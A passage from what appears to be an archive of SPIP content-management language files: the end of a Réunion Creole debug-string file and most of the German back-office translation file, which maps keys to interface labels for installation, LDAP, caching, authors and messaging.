'zbug_inversion_ordre_inexistant' => 'lord existan lé inversè', # MODIF
'zbug_pagination_sans_critere' => '#PAGINATION sans critère {pagination} ou employé dans une boucle recursive', # MODIF
'zbug_parametres_inclus_incorrects' => 'Bann paramèt pou linklizyon lé pa korèk', # MODIF
'zbug_resultat' => 'rézilta',
'zbug_serveur_indefini' => 'servèr SQL la lé pa défini', # MODIF
'zbug_table_inconnue' => 'Lo tab SQL « @table@ » la , li lé pa konu'
);
?>
ecrire_de.php 0000666 00000221624 15252547432 0007222 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/ecrire_?lang_cible=de
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'activer_plugin' => 'Plugin aktivieren',
'affichage' => 'Anzeigen',
'aide_non_disponible' => 'Teil der Online-Hilfe in dieser Sprache noch nicht verfügbar.',
'annuler_recherche' => 'Sucheingabe löschen',
'auteur' => 'Autor:',
'avis_acces_interdit' => 'Zugang verweigert.',
'avis_article_modifie' => 'Achtung, @nom_auteur_modif@ hat vor @date_diff@ Minute(n) an diesem Artikel gearbeitet.',
'avis_aucun_resultat' => 'Kein Ergebnis.',
'avis_base_inaccessible' => 'Keine Verbindung mit Datenbank @base@ möglich.',
'avis_chemin_invalide_1' => 'Der gewählte Pfad',
'avis_chemin_invalide_2' => 'scheint nicht zu stimmen. Bitte kehren Sie zur vorigen Seite zurück und überprüfen sie die Angaben.',
'avis_connexion_echec_1' => 'Die Verbindung zur Datenbank ist fehlgeschlagen.',
'avis_connexion_echec_2' => 'Kehren Sie zur vorigen Seite zurück und überprüfen sie ihre Eingaben.',
'avis_connexion_echec_3' => '<b>N.B.</b> Bei vielen Servern müssen Sie Ihre Datenbank ausdrücklich <b>freischalten lassen</b> um sie nutzen zu können. Falls die Verbindung wieder fehlschlägt, stellen Sie bitte sicher, dass Ihre Datenbank freigeschaltet wurde.',
'avis_connexion_erreur_nom_base' => 'Der Datenbankname darf nur Buchstaben, Ziffern und Bindestriche "-" enthalten.',
'avis_connexion_ldap_echec_1' => 'Die Verbindung zum LDAP-Server ist fehlgeschlagen.',
'avis_connexion_ldap_echec_2' => 'Kehren Sie zur vorigen Seite zurück und überprüfen sie ihre Eingaben.',
'avis_connexion_ldap_echec_3' => 'Sie können Benutzer auch ohne LDAP-Support importieren.',
'avis_deplacement_rubrique' => 'Achtung! diese Rubrik enthält @contient_breves@ Meldungen@scb@: wenn Sie Rubrik verschieben wollen, markieren Sie bitte zur Bestätigung dieses Kästchen.',
'avis_destinataire_obligatoire' => 'Sie müssen einen Empfänger angeben, bevor Sie die Nachricht abschicken.',
'avis_erreur_connexion_mysql' => 'Verbindungsfehler (SQL)',
'avis_erreur_version_archive' => '<b>Achtung! Die Datei @archive@ entspricht
nicht der von Ihnen installierten Version
von SPIP.</b> Sie riskieren die Funktionalität
Ihrer Website zu beeinträchtigen oder sogar die Datenbank
zu zerstören. Bitte brechen Sie den Vorgang jetzt ab.
<p> Mehr dazu finden Sie in der <a href="@spipnet@">
französischen SPIP-Dokumentation</a>.',
'avis_espace_interdit' => '<b>Gesperrter Bereich</b><div>SPIP ist bereits installiert.</div>',
'avis_lecture_noms_bases_1' => 'Das Installationsprogramm konnte die Namen der vorhandenen Datenbanken nicht lesen.',
'avis_lecture_noms_bases_2' => 'Entweder ist keine Datenbank vorhanden oder die Funktion zum Auflisten der Datenbanken ist aus Sciherheitsgründen abgeschaltet
(Das ist bei vielen Webhostern der Fall).',
'avis_lecture_noms_bases_3' => 'Im zweiten Fall ist wahrscheinlich eine Datenbank vorhanden, die Ihren Anmeldenamen trägt:',
'avis_non_acces_message' => 'Sie haben keinen Zugriff auf diese Nachricht.',
'avis_non_acces_page' => 'Sie haben keinen Zugriff auf diese Seite.',
'avis_operation_echec' => 'Aktion fehlgeschlagen.',
'avis_operation_impossible' => 'Aktion nicht möglich',
'avis_probleme_archive' => 'Fehler beim Lesen der Archivdatei @archive@',
'avis_suppression_base' => 'ACHTUNG, Daten werden unwiderruflich gelöscht.',
'avis_version_mysql' => 'Ihre SQL-Version (@version_mysql@) erlaubt keine automatische Reparatur der Tabellen.',
// B
'bouton_acces_ldap' => 'LDAP Zugang hinzufügen',
'bouton_ajouter' => 'Hinzufügen',
'bouton_ajouter_participant' => 'TEILNEHMER HINZUFÜGEN:',
'bouton_annonce' => 'ANKÜNDIGUNG',
'bouton_annuler' => 'Abbrechen',
'bouton_cache_activer' => 'Cache aktivieren',
'bouton_cache_desactiver' => 'Cache vorübergehend abschalten',
'bouton_checkbox_envoi_message' => 'Verschicken einer Nachricht ermöglichen',
'bouton_checkbox_indiquer_site' => 'obligatorische Angabe einer Website',
'bouton_checkbox_signature_unique_email' => 'eine einzige Unterschrift pro E-Mail Adresse',
'bouton_checkbox_signature_unique_site' => 'eine einzige Unterschrift pro Website',
'bouton_demande_publication' => 'Artikel zur Veröffentlichung vorschlagen',
'bouton_desactive_tout' => 'Alles deaktivieren',
'bouton_desinstaller' => 'Deinstallieren',
'bouton_effacer_index' => 'Indexe löschen',
'bouton_effacer_tout' => 'ALLES löschen',
'bouton_envoi_message_02' => 'NACHRICHT SENDEN',
'bouton_envoyer_message' => 'Nachricht fertig: Senden',
'bouton_fermer' => 'Schließen',
'bouton_mettre_a_jour_base' => 'Datenbank updaten',
'bouton_modifier' => 'Ändern',
'bouton_pense_bete' => 'PERSÖNLICHER MERKZETTEL',
'bouton_radio_activer_messagerie' => 'Interne Nachrichten aktivieren',
'bouton_radio_activer_messagerie_interne' => 'Interne Nachrichten aktivieren',
'bouton_radio_activer_petition' => 'Petitionen aktivieren',
'bouton_radio_afficher' => 'Anzeigen',
'bouton_radio_apparaitre_liste_redacteurs_connectes' => 'Auf der Liste angemeldeter Redakteure anzeigen',
'bouton_radio_desactiver_messagerie' => 'Nachrichten abschalten',
'bouton_radio_envoi_annonces_adresse' => 'Editorische Ankündigungen an diese Adresse senden:',
'bouton_radio_envoi_liste_nouveautes' => 'Liste der neuesten Veröffentlichungen verschicken',
'bouton_radio_non_apparaitre_liste_redacteurs_connectes' => 'Ich will nicht auf dieser Liste zu sehen sein.',
'bouton_radio_non_envoi_annonces_editoriales' => 'Keine editorischen Ankündigungen verschicken',
'bouton_radio_pas_petition' => 'Keine Petition',
'bouton_radio_petition_activee' => 'Petition aktiviert',
'bouton_radio_supprimer_petition' => 'Petition löschen',
'bouton_redirection' => 'UMLEITUNG',
'bouton_relancer_installation' => 'Installation wiederholen',
'bouton_suivant' => 'weiter',
'bouton_tenter_recuperation' => 'Reparatur versuchen',
'bouton_test_proxy' => 'Proxy testen',
'bouton_vider_cache' => 'Cache leeren',
'bouton_voir_message' => 'Beitrag vor dem Absenden ansehen',
// C
'cache_mode_compresse' => 'Cache-Dateien werden komprimiert gespeichert.',
'cache_mode_non_compresse' => 'Cache-Dateien werden unkomprimiert gespeichert.',
'cache_modifiable_webmestre' => 'Dieser Parameter kann vom Webmaster eingestellt werden.',
'calendrier_synchro' => 'Wenn Sie eine mit <b>iCal</b> kompatibles PIM-Programm verwenden, könne Sie es mit den Einträgen dieser Website synchronisieren.',
'config_activer_champs' => 'Aktivieren Sie folgende Felder',
'config_choix_base_sup' => 'Eine Datenbank auf diesem Server angeben',
'config_erreur_base_sup' => 'SPIP kann nicht auf die Liste der verfügbaren Datenbanken zugreifen.',
'config_info_base_sup' => 'Wenn Sie andere Datenbanken auf dem selben Server oder auf einem anderen mit SPIP abfragen möchten, können Sie sie mit dem Formular weiter unten deklarieren. Wenn Sie Felder leer lassen, werden die Verbindungsdaten der Hauptdatenbank verwendet.',
'config_info_base_sup_disponibles' => 'Bereits abfragbare Datenbanken:',
'config_info_enregistree' => 'Neue Einstellungen wurden gespeichert',
'config_info_logos' => 'Jedes Element der Website kann ein Logo und ein «mouseover-Logo» erhalten.',
'config_info_logos_utiliser' => 'Logos verwenden',
'config_info_logos_utiliser_non' => 'Logos nicht verwenden',
'config_info_logos_utiliser_survol' => 'Mouseover-Logos verwenden',
'config_info_logos_utiliser_survol_non' => 'Mouseover-Logos nicht verwenden',
'config_info_redirection' => 'Mit dieser Option können Sie virtuelle Artikel anlegen, die als Weiterleitung zu Artikeln anderer Websites oder ausserhalb von SPIP funktionieren.',
'config_redirection' => 'Virtuelle Artikel',
'config_titre_base_sup' => 'Deklaration einer zusätzlichen Datenbank',
'config_titre_base_sup_choix' => 'Wählen Sie eine zusätzliche Datenbank',
'connexion_ldap' => 'Verbindung:',
'copier_en_local' => 'Lokale Koipe',
'creer_et_associer_un_auteur' => 'Autor anlegen und zuordnen',
'creer_et_associer_une_rubrique' => 'Neue Rubrik anlegen und zuordnen',
// D
'date_mot_heures' => 'Stunden',
// E
'ecran_securite' => ' + Sicherheitsschirm @version@',
'email' => 'E-Mail',
'email_2' => 'E-Mail:',
'en_savoir_plus' => 'Weitere Informationen',
'entree_adresse_annuaire' => 'Adresse des Verzeichnisses',
'entree_adresse_email' => 'Ihre E-Mail Adresse',
'entree_adresse_email_2' => 'Mailadresse',
'entree_base_donnee_1' => 'Adresse des Datenbankservers',
'entree_base_donnee_2' => '(Oftmals entspricht diese Adresse der Ihrer Website, sie kann auch einfach „localhost“ lauten und gelegentlich darf das Feld leer bleiben.)',
'entree_biographie' => 'Ganz kurze Vorstellung / Lebenslauf',
'entree_chemin_acces' => 'Bitte den <b>Pfad angeben</b>:',
'entree_cle_pgp' => 'Ihr öffentlicher PGP-Schlüssel',
'entree_cle_pgp_2' => 'PGP-Schlüssel',
'entree_contenu_rubrique' => '(Inhalt der Rubrik)',
'entree_identifiants_connexion' => 'Ihre Verbindungsdaten ...',
'entree_identifiants_connexion_2' => 'Logindaten',
'entree_informations_connexion_ldap' => 'Bitte tragen Sie in dieses Formular die Zugangsdaten zu Ihrem LDAP-Verzeichnis ein. Sie erhalten diese Informationen von Ihrem System- oder Netzwerkadministrator.',
'entree_infos_perso' => 'Wer sind Sie?',
'entree_infos_perso_2' => 'Wer ist der Autor?',
'entree_interieur_rubrique' => 'In der Rubrik:',
'entree_liens_sites' => '<b>Hyperlink</b> (Quelle, Website zum Thema ...)',
'entree_login' => 'Ihr Login',
'entree_login_connexion_1' => 'Login für die Verbindung',
'entree_login_connexion_2' => '(Dieser entspricht häufig Ihrem FTP-Login, bleibt in manchen Fällen leer)',
'entree_login_ldap' => 'LDAP Basis-Login',
'entree_mot_passe' => 'Ihr Passwort',
'entree_mot_passe_1' => 'Passwort für die Verbindung',
'entree_mot_passe_2' => '(Entspricht häufig Ihrem FTP-Login, bleibt in manchen Fällen leer)',
'entree_nom_fichier' => 'Bitte geben Sie den Namen der Datei @texte_compresse@ an:',
'entree_nom_pseudo' => 'Ihr Name oder Pseudonym',
'entree_nom_pseudo_1' => '(Ihr Name oder Nickname)',
'entree_nom_pseudo_2' => 'Name oder Pseudonym',
'entree_nom_site' => 'Der Titel Ihrer Website',
'entree_nom_site_2' => 'Name der Website des Autors',
'entree_nouveau_passe' => 'Neues Passwort',
'entree_passe_ldap' => 'Passwort',
'entree_port_annuaire' => 'Port (Nummer) des Verzeichnisses',
'entree_signature' => 'Unterschrift',
'entree_titre_obligatoire' => '<b>Titel</b> [Pflichtfeld]<br />',
'entree_url' => 'Adresse (URL) Ihrer Website',
'entree_url_2' => 'Adresse (URL) der Website',
'erreur_connect_deja_existant' => 'Ein Server mit diesem Namen existiert bereits.',
'erreur_nom_connect_incorrect' => 'Dieser Servername ist nicht zulässig.',
'erreur_plugin_desinstalation_echouee' => 'Das Deinstallieren des Plugins ist fehlgeschlagen. Sie können es jedoch deaktivieren.',
'erreur_plugin_fichier_absent' => 'Datei nicht vorhanden',
'erreur_plugin_fichier_def_absent' => 'Definitionsdatei nicht vorhanden',
'erreur_plugin_nom_fonction_interdit' => 'Unzulässiger Funktionsname',
'erreur_plugin_nom_manquant' => 'Name des Plugin fehlt',
'erreur_plugin_prefix_manquant' => 'Namespace des Plugin nicht definiert',
'erreur_plugin_tag_plugin_absent' => '<plugin> fehlt in der Definitionsdatei',
'erreur_plugin_version_manquant' => 'Version des Plugin fehlt',
// H
'htaccess_a_simuler' => 'Achtung: Ihr HTTP-Server ist so konfiguriert, daß er @htaccess@ Dateien ignoriert. Eine sichere Konfiguration des Servers erzielen sie, indem sie diese Einstellung ändern, oder indem sie die Konstanten @constantes@ in der Datei mes_options.php so setzen, daß die Verzeichnisse außerhalb des @document_root@ liegen.',
'htaccess_inoperant' => 'htaccess unwirksam',
// I
'ical_info1' => 'Diese Seite ermöglicht auf mehrere Arten an der Entwicklung der Website teilzunehmen.',
'ical_info2' => 'Um mehr über diese Techniken zu erfahren, lesen Sie bitte die <a href="@spipnet@">SPIP Dokumentation</a>.',
'ical_info_calendrier' => 'Sie verfügen über zwei Kalender. Einer gibt Ihnen eine Übersicht über die Website und alle dort veröffentlichten Artikel. Der zweite enthält editorische Ankündigungen und Ihre persönlichen Nachrichten. Sie allein haben Zugriff auf ihn indem Sie Ihr Passwort eingeben. Sie könne es ändern, indem Sie Ihr Zugangspasswort für diese Website ändern.',
'ical_methode_http' => 'Download',
'ical_methode_webcal' => 'Synchronisieren (webcal://)',
'ical_texte_js' => 'Mit nur einer Zeile Javascript können Sie auf Ihrer Website die neuesten Artikel dieser Website anzeigen.',
'ical_texte_prive' => 'Dieser nur für Sie selbst zugängliche Kalender hält Sie auf dem Laufenden über die internen redaktionellen Vorgänge dieser Website (Aufgaben und persönliche Termine, vorgeschlagene Artikel und Meldungen ...).',
'ical_texte_public' => 'Dieser Kalender gibt Ihnen einen Überblick über die Ereignisse im öffentlichen Bereich der Website.',
'ical_texte_rss' => 'Sie können die Neuheiten dieser Website mit einem beliebigen Programm anzeigen, dass das Format XML/RSS (Rich Site Summary) beherrscht. SPIP nutz dieses Protokoll auch, um neue Einträge aus anderen Websites zu übernehmen (sog. syndizierte Websites).',
'ical_titre_js' => 'Javascript',
'ical_titre_mailing' => 'Mailing-List',
'ical_titre_rss' => '"Backend" Datei',
'icone_accueil' => 'Start',
'icone_activer_cookie' => 'Verwaltungs-Cookie setzen',
'icone_activite' => 'Aktivität',
'icone_admin_plugin' => 'Plugin-Verwaltung',
'icone_administration' => 'Wartung',
'icone_afficher_auteurs' => 'Autoren anzeigen',
'icone_afficher_visiteurs' => 'Besucher anzeigen',
'icone_arret_discussion' => 'Aus dieser Diskussion aussteigen',
'icone_calendrier' => 'Kalender',
'icone_configuration' => 'Konfiguration',
'icone_creer_auteur' => 'Neuen Autor anlegen und diesem Artikel zuordnen',
'icone_creer_mot_cle' => 'Neues Schlagwort anlegen und mit diesem Artikel verknüpfen',
'icone_creer_mot_cle_rubrique' => 'Schlagwort anlegen und dieser Rubrik zuordnen.',
'icone_creer_mot_cle_site' => 'Schlagwort anlegen und dieser Website zuordnen.',
'icone_creer_rubrique_2' => 'Neue Rubrik anlegen',
'icone_edition' => 'Redaktion',
'icone_envoyer_message' => 'Nachricht abschicken',
'icone_ma_langue' => 'Meine Sprache',
'icone_mes_infos' => 'Meine Informationen',
'icone_mes_preferences' => 'Meine Einstellungen',
'icone_modifier_article' => 'Artikel bearbeiten',
'icone_modifier_message' => 'Nachricht bearbeiten',
'icone_modifier_rubrique' => 'Rubrik bearbeiten',
'icone_publication' => 'Veröffentlichen',
'icone_relancer_signataire' => 'Unterzeichner erneut benachrichtigen',
'icone_retour' => 'Zurück',
'icone_retour_article' => 'Zurück zum Artikel',
'icone_squelette' => 'Skelette',
'icone_suivi_publication' => 'Verlauf der Veröffentlichungen',
'icone_supprimer_cookie' => 'Verwaltungs-Cookie löschen',
'icone_supprimer_rubrique' => 'Rubrik löschen',
'icone_supprimer_signature' => 'Unterschrift löschen',
'icone_valider_signature' => 'Unterschrift bestätigen',
'image_administrer_rubrique' => 'Sie können diese Rubrik verwalten',
'impossible_modifier_login_auteur' => 'Login kann nicht geändert werden.',
'impossible_modifier_pass_auteur' => 'Passwort kann nicht geändert werden.',
'info_1_article' => '1 Artikel',
'info_1_article_syndique' => '1 syndizierte Artikel',
'info_1_auteur' => '1 Autor',
'info_1_message' => '1 Nachricht',
'info_1_mot_cle' => '1 Schlagwort',
'info_1_rubrique' => '1 Rubrik',
'info_1_site' => '1 Website',
'info_1_visiteur' => '1 Besucher',
'info_activer_cookie' => 'Sie können ein <b>Verwaltungs-Cookie</b> setzen. Es erlaubt Ihnen, Artikel und Rubriken direkt aus der Website zu bearbeiten.',
'info_admin_etre_webmestre' => 'Mir Webmaster-Rechte geben',
'info_admin_gere_rubriques' => 'Dieser Administrator verwaltet die folgenden Rubriken:',
'info_admin_gere_toutes_rubriques' => 'Dieser Administrator verwaltet <b>alle Rubriken</b>.',
'info_admin_gere_toutes_rubriques_2' => 'Ich verwalte <b>alle Rubriken</b>.',
'info_admin_je_suis_webmestre' => 'Ich bin <b>Webmaster</b>',
'info_admin_statuer_webmestre' => 'Diesem Administrator Webmaster-Rechte geben',
'info_admin_webmestre' => 'Dieser Administrator ist <b>Webmaster</b>',
'info_administrateur' => 'Administrator',
'info_administrateur_1' => 'Administrator',
'info_administrateur_2' => 'der Website (<i>vorsichtig einsetzen</i>)',
'info_administrateur_site_01' => 'Wenn Sie Administrator der Website sind, bitte',
'info_administrateur_site_02' => 'auf diesen Link klicken.',
'info_administrateurs' => 'Administratoren',
'info_administrer_rubrique' => 'Sie können diese Rubrik verwalten',
'info_adresse' => 'an Adresse:',
'info_adresse_url' => 'Adresse (URL) der öffentlichen Website',
'info_afficher_par_nb' => 'Anzeigen nach',
'info_afficher_visites' => 'Besuche anzeigen für:',
'info_aide_en_ligne' => 'SPIP Online-Hilfe',
'info_ajout_image' => 'Wenn Sie Bilder als Dokumente anlegen, die einem Artikel zugeordnet sind, kann SPIP automatisch (Miniatur-)Vorschaubilder dazu erstellen. Sie können so eine automatische Galerie oder Bildermappe einrichten.',
'info_ajout_participant' => 'Dieser Teilnehmer wurde hinzugefügt:',
'info_ajouter_rubrique' => 'Eine weitere zu verwaltende Rubrik hinzufügen:',
'info_annonce_nouveautes' => 'Ankündigung der Neuigkeiten',
'info_anterieur' => 'vorige',
'info_article' => 'Artikel',
'info_article_2' => 'Artikel',
'info_article_a_paraitre' => 'Vordatierte Artikel, die noch nicht erschienen sind.',
'info_articles_02' => 'Artikel',
'info_articles_2' => 'Artikel',
'info_articles_auteur' => 'Alle Artikel dieses Autors',
'info_articles_miens' => 'Meine Artikel',
'info_articles_tous' => 'Alle Artikel',
'info_articles_trouves' => 'Gefundene Artikel',
'info_articles_trouves_dans_texte' => 'Gefundene Artikel (im Text)',
'info_attente_validation' => 'Ihre zur Veröffentlichung vorgeschlagenen Artikel',
'info_aucun_article' => 'Kein Artikel',
'info_aucun_article_syndique' => 'Kein syndizierter Artikel',
'info_aucun_auteur' => 'Kein Autor',
'info_aucun_message' => 'Keine Nachricht',
'info_aucun_rubrique' => 'Keine Rubrik',
'info_aucun_site' => 'Keine Website',
'info_aucun_visiteur' => 'Kein Besucher',
'info_aujourdhui' => 'heute: ',
'info_auteur_message' => 'AUTOR DES BEITRAGS:',
'info_auteurs' => 'Autoren',
'info_auteurs_par_tri' => 'Autoren@partri@',
'info_auteurs_trouves' => 'Gefundene Autoren',
'info_authentification_externe' => 'Externe Authentifizierung',
'info_avertissement' => 'Warnung',
'info_barre_outils' => 'mit Symbolleiste?',
'info_base_installee' => 'Die Struktur Ihrer Datenbank wurde angelegt.',
'info_bio' => 'Biographie',
'info_cache_desactive' => 'Der Cache ist vorübergehend deaktiviert.',
'info_chapeau' => 'Kopf',
'info_chapeau_2' => 'Kopf:',
'info_chemin_acces_1' => 'Optionen: <b>Pfad im Verzeichnis</b>',
'info_chemin_acces_2' => 'Sie müssen jetzt den Pfad zu den Informationen im Verzeichnis angeben. Diese Information ist unbedingt erforderlich, um die Benutzerprofile im Verzeichnis lesen zu können.',
'info_chemin_acces_annuaire' => 'Optionen: <b>Pfad im Verzeichnis</b>',
'info_choix_base' => 'Schritt 3: ',
'info_classement_1' => ' von @liste@',
'info_classement_2' => 'von @liste@',
'info_code_acces' => 'Vergessen Sie ihre Zugangsdaten nicht!',
'info_compatibilite_html' => 'Zu respektierende HTML Norm',
'info_compresseur_gzip' => 'Wir empfehlen, vorab zu testen, ob der Provider bereits PHP-Skripte komprimiert. Dazu können Sie z.B. den Dienst @testgzip@ nutzen.', # Ma première traduction avec trad.spip.org - merci kent1 !
'info_compresseur_texte' => 'Falls Ihr Server HTML Seiten nicht automatisch für die Übertragung zum Websurfer komprimiert, können Sie hier versuchen, die Kompression zu erzeingen und so die Datenmenge der übertragenen Seiten zu reduzieren. <b>Achtung</b> : Diese Einstellung kann manche Server merklich verlangsamen.',
'info_config_suivi' => 'Wenn es sich bei dieser Adresse um eine Mailing-Liste handelt, können Sie unten die Adresse angeben, unter der sich Teilnehmer der Website anmelden können. Es kann sich um den URL einer Webseite handeln (die ein Anmeldeformular enthält) oder um eine E-Mail Adresse mit angehängtem Parameter (z.B. <tt>@adresse_suivi@?subject=subscribe</tt>):',
'info_config_suivi_explication' => 'Sie können die Mailing-Liste dieser Website abonnieren. Sie werden dann per E-Mail über neu zur Veröffentlichung vorgeschlagene Artikel informiert.',
'info_confirmer_passe' => 'Neues Passwort bestätigen:',
'info_conflit_edition_avis_non_sauvegarde' => 'Achtung, die folgenden Felder wurden von anderen geändert. Ihre Änderungen in diesen Feldern wurden deshalb nicht gespeichert.',
'info_conflit_edition_differences' => 'Unterschiede:',
'info_conflit_edition_version_enregistree' => 'Die gespeicherte Fassung:',
'info_conflit_edition_votre_version' => 'Ihre Fassung:',
'info_connexion_base' => 'Test der Verbindung zur Datenbank',
'info_connexion_base_donnee' => 'Verbindung mit Ihrer Datenbank',
'info_connexion_ldap_ok' => 'Die LDAP-Verbindung wurde hergestellt.</b><p> Sie können mit dem nächsten Schritt fortfahren.</p>',
'info_connexion_mysql' => 'Verbindung zur SQL-Datenbank',
'info_connexion_ok' => 'Die Verbindung wurde hergestellt.',
'info_contact' => 'Kontakt',
'info_contenu_articles' => 'Inhalt der Artikel',
'info_contributions' => 'Beiträge',
'info_creation_paragraphe' => 'Um einen Absatz einzufügen, lassen Sie einfach eine Zeile frei.',
'info_creation_rubrique' => 'Bevor Sie Artikel schreiben können,<br /> müssen Sie eine Rubrik anlegen.<br />',
'info_creation_tables' => 'Anlegen der Datentabellen',
'info_creer_base' => 'Neue Datenbank <b>anlegen</b>:',
'info_dans_rubrique' => 'In der Rubrik:',
'info_date_publication_anterieure' => 'Datum einer früheren Bearbeitung:',
'info_date_referencement' => 'DATUM DER VERLINKUNG DIESER WEBSITE:',
'info_derniere_etape' => 'Fertig!',
'info_derniers_articles_publies' => 'Ihre letzten veröffentlichten Artikel',
'info_desactiver_messagerie_personnelle' => 'Sie können die Nutzung Ihrer persönlichen Nachrichten abschalten.',
'info_descriptif' => 'Beschreibung:',
'info_desinstaller_plugin' => 'löscht die Daten und desktiviert das Plugin',
'info_discussion_cours' => 'Aktuelle Diskussionen',
'info_ecrire_article' => 'Bevor Sie Artikel schreiben könnnen, müssen Sie mindestens eine Rubrik anlegen.',
'info_email_envoi' => 'Absenderadresse (freiwillige Angabe)',
'info_email_envoi_txt' => 'Geben Sie hier die Absenderadresse der E-Mails an (ohne diese Angabe wird die Empfängeradresse als Absender eingetragen). ',
'info_email_webmestre' => 'E-Mail des Webmasters',
'info_entrer_code_alphabet' => 'Geben Sie die Bezeichnung des gewünschten Zeichensatz an: ',
'info_envoi_email_automatique' => 'Automatischer Mailversand',
'info_envoyer_maintenant' => 'Jetzt schicken',
'info_etape_suivante' => 'Weiter',
'info_etape_suivante_1' => 'Sie können den nächsten Schritt ausführen.',
'info_etape_suivante_2' => 'Sie können den nächsten Schritt ausführen.',
'info_exceptions_proxy' => 'Ausnahmen für den Proxy',
'info_exportation_base' => 'Export der Datenbank nach @archive@',
'info_facilite_suivi_activite' => 'Um die editorische Arbeit zu erleichtern kann SPIP Veröffentlichungsvorschläge und Freischaltungen z.B. an eine Mailing-Liste der Redakteure schicken.',
'info_fichiers_authent' => '“.htpasswd” Dateien',
'info_forums_abo_invites' => 'Ihre Website hat Foren für eingetragene Teilnehmer. Ihre Leser werden aus diesem Gund aufgefordert, sich bei Ihrer Website anzumelden.',
'info_gauche_admin_effacer' => '<b>Diese Seite ist nur für den Verantwortlichen der Website zugänglich.</b><p>Sie erlaubt bestimmte technische Wartungsvorgänge auszulösen. Für manche Funktionen ist die Authentifizierung per FTP Voraussetzung.',
'info_gauche_admin_tech' => '<b>Diese Seite ist nur für den Verantwortlichen der Website zugänglich.</b><p>Sie erlaubt bestimmte technische Wartungsvorgänge auszulösen. Für manche Funktionen ist die Authentifizierung per FTP Voraussetzung.',
'info_gauche_admin_vider' => '<b>Diese Seite ist nur für den Verantwortlichen der Website zugänglich.</b><p>Sie erlaubt bestimmte technische Wartungsvorgänge auszulösen. Für manche Funktionen ist die Authentifizierung per FTP Voraussetzung.',
'info_gauche_auteurs' => 'Hier sehen Sie alle Autoren der Website.
Ihr Status wird durch die Farbe ihres Symbols angezeigt (Redakteur = gelb; Administrator = grün). ',
'info_gauche_auteurs_exterieurs' => 'Externe Autoren ohne Zugang zum Redaktionssystem werden mit einem blauen Symbol gekennzeichnet, gelöschte Autoren haben eine Mülltonne als Symbol.',
'info_gauche_messagerie' => 'Nachrichtensystem: SPIP ermöglicht den Austausch von Nachrichten zwischen Redakteuren, persönliche Merkzettel und Ankündigungen im privaten Arbeitsbereich der Redakteure (nur Administratoren können diese verschicken).',
'info_gauche_numero_auteur' => 'AUTOR NUMMER',
'info_gauche_statistiques_referers' => 'Diese Seite zeigt Ihnen <i>REFERER</i>, d.h. Webadressen mit Links zu Ihrer Website. Angezeigt werden nur Links von gestern und heute, diese Liste wird alle 24 Stunden auf Null gesetzt.',
'info_gauche_visiteurs_enregistres' => 'Hier sehen Sie die im öffentlichen Bereich der Website angemeldeten Besucher (Teilnahme an Foren nur mit gültiger E-Mail Adresse).',
'info_generation_miniatures_images' => 'Anlegen der Vorschaubilder',
'info_gerer_trad' => 'Übersetzungslinks verwalten?',
'info_gerer_trad_objets' => '@objets@: Übersetzungslinks verwalten',
'info_hebergeur_desactiver_envoi_email' => 'Manche ISPs verhindern den Versand von Mails mit PHP. Die Mailfunktionen von SPIP funktionieren dann nicht.',
'info_hier' => 'Gestern:',
'info_historique_activer' => 'Versionskontrolle aktivieren',
'info_historique_affiche' => 'Version anzeigen',
'info_historique_comparaison' => 'Vergleich',
'info_historique_desactiver' => 'Versionskontrolle abschalten',
'info_historique_texte' => 'Die Versionskontrolle ermöglicht es, alle Änderungen an einem Artikel aufzuzeichnen und die Unterschiede zwischen aufeinander folgenden Versionen anzuzeigen.',
'info_identification_publique' => 'Ihre öffentliche Identität ...',
'info_image_process' => 'Bitte wählen Sie das beste Verfahren zum Generieren der Miniaturbilder, indem Sie auf ein Bild klicken.',
'info_image_process2' => 'Wenn kein Bild angezeigt wird, ist der Server ihrer Website nicht für die Verwendung solcher Werkzeuge eingerichtet. Wenn Sie diese Funktionen nutzen möchten, wenden Sie sich bitte an den verantwortlichen Techniker und bitten ihn, die Erweiterungen «GD» oder «Imagick» einzurichten.',
'info_images_auto' => 'automatisch berechnete Bilder',
'info_informations_personnelles' => 'Persönliche Informationen',
'info_inscription_automatique' => 'Automatische Anmeldung neuer Redakteure',
'info_jeu_caractere' => 'Zeichensatz der Website',
'info_jours' => 'Tage',
'info_laisser_champs_vides' => 'diese Felder frei lassen)',
'info_langues' => 'Sprachen der Website',
'info_ldap_ok' => 'Die LDAP-Authentifizierung ist installiert.',
'info_lien_hypertexte' => 'Hyperlink:',
'info_liste_nouveautes_envoyee' => 'Die Liste der Neuerscheinungen wurde versand.',
'info_liste_redacteurs_connectes' => 'Liste der zur Zeit angemeldeten Redakteure',
'info_login_existant' => 'Dieses Login ist bereits vergeben.',
'info_login_trop_court' => 'Login zu kurz.',
'info_login_trop_court_car_pluriel' => 'Ihr Login muss mindestens @nb@ Zeichen haben.',
'info_logos' => 'Die Logos',
'info_maximum' => 'Maximum:',
'info_meme_rubrique' => 'In der gleichen Rubrik',
'info_message' => 'Nachricht vom ',
'info_message_efface' => 'NACHRICHT GELÖSCHT',
'info_message_en_redaction' => 'IHRE NACHRICHTEN IN BEARBEITUNG',
'info_message_technique' => 'Technische Nachricht:',
'info_messagerie_interne' => 'Interne Nachrichten',
'info_mise_a_niveau_base' => 'Update Ihrer SQL-Datenbank',
'info_mise_a_niveau_base_2' => '{{ACHTUNG!}} Sie haben eine {ältere} Version der SPIP-Dateien installiert als sich vorher auf Ihrem Server befand. Ihre Datenbank wird möglicherweise zerstört und Ihre Website wird nict mehr funktionieren.<br />{{Installieren Sie SPIP noch einmal.}}',
'info_modification_enregistree' => 'Ihre Änderung wurde gespeichert.',
'info_modifier_auteur' => 'Autor bearbeiten:',
'info_modifier_rubrique' => 'Rubrik bearbeiten:',
'info_modifier_titre' => 'Bearbeiten: @titre@',
'info_mon_site_spip' => 'Meine SPIP-Site',
'info_mot_sans_groupe' => '(Ohne Kategorie...)',
'info_moteur_recherche' => 'Integrierte Suchfunktion',
'info_moyenne' => 'Durchschnitt: ',
'info_multi_articles' => 'Sprachauswahl für Artikel aktivieren?',
'info_multi_cet_article' => 'Dieser Artikel ist auf: ',
'info_multi_langues_choisies' => 'Bitte wählen Sie hier die Sprachen aus, die den Redakteuren Ihrer Website zur Verfügung stehen sollen. Die Sprachen, welche bereits in Ihrer Website verwendet werden (oben auf der Liste), können nicht abgeschaltet werden.',
'info_multi_objets' => '@objets@: Sprachauswahlmenü aktivieren',
